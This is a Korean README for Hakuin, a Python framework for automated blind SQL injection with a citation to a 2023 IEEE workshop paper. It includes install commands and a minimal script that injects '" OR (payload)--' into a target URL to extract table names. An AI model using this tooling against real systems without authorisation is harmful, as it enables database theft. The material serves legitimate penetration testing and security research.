
엄청나게 빠르고 완전히 구성 가능한 블라인드 SQL 인젝션 최적화 및 자동화 프레임워크.
Hakuin은 Python 3로 작성된 블라인드 SQL 인젝션(BSQLI) 최적화 및 자동화 프레임워크입니다. 추출 로직을 추상화하여 사용자가 취약한 웹 애플리케이션에서 데이터베이스를 쉽고 효율적으로 덤프할 수 있게 합니다. Hakuin은 사전 훈련된 적응형 언어 모델, 기회적 추측, 통계적 모델링, 병렬 처리, 삼항 쿼리 등 다양한 최적화 방법을 활용하여 프로세스 속도를 높입니다.
Hakuin은 권위 있는 학술 및 산업 컨퍼런스에서 발표되었습니다:
자세한 정보는 논문 및 슬라이드에서 확인할 수 있습니다.
Hakuin을 설치하려면 다음 명령어를 실행하세요:
pip3 install hakuin
Hakuin은 명령줄에서 바로 Hakuin의 대부분의 기능을 사용할 수 있는 직관적인 도구를 함께 제공합니다:
hk -h
때로는 BSQLI 취약점이 명령줄에서 악용하기 너무 까다로워 사용자 정의 스크립팅이 필요합니다. 이때 Hakuin이 빛을 발하며, 인젝션 로직, 추론 로직, 심지어 쿼리까지 모든 것을 완전히 사용자 정의할 수 있습니다.
다음은 최소 예제입니다:
import asyncio
import aiohttp
from hakuin import Extractor, Requester
class SimpleRequester(Requester):
async def request(self, query, ctx):
payload = query.render(ctx)
url = f'http://target.com/users?search=XXX" OR ({payload})--'
async with aiohttp.request('GET', url) as resp:
return resp.status == 200
async def main():
requester = SimpleRequester():
ext = Extractor(requester=requester, dbms='sqlite')
data = await ext.extract_table_names()
print(data)
asyncio.run(main())
튜토리얼을 꼭 확인하세요.
이 저장소는 보안 실무자의 요구에 맞춰 활발히 개발되고 있습니다. 논문에 설명된 실험을 재현하려는 연구자는 동결된 버전을 설치하세요. 원본 코드, 실험 스크립트, 결과 재현을 위한 사용 설명서가 포함되어 있습니다.
@inproceedings{hakuin_bsqli,
title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models},
author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh},
booktitle={2023 IEEE Security and Privacy Workshops (SPW)},
pages={384--393},
year={2023},
organization={IEEE}
}